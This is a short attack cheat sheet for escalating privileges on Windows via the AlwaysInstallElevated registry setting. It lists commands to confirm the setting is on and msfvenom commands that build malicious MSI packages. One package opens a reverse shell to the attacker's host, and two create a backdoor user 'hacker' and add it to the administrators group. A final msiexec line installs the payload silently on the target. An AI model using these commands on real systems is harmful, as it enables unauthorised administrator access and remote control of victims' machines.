Check both registry keys · BOTH must be 1 for this to work
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Both must return: AlwaysInstallElevated REG_DWORD 0x1
Generate malicious MSI payload
On Kali:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR-IP> LPORT=4444 -f msi > /tmp/priv.msi
Or add admin user:
msfvenom -p windows/x64/exec CMD='net user hacker Hacker123! /add' -f msi > /tmp/adduser.msi
msfvenom -p windows/x64/exec CMD='net localgroup administrators hacker /add' -f msi > /tmp/addadmin.msi
Upload to target and execute
msiexec /quiet /qn /i C:\Windows\Temp\priv.msi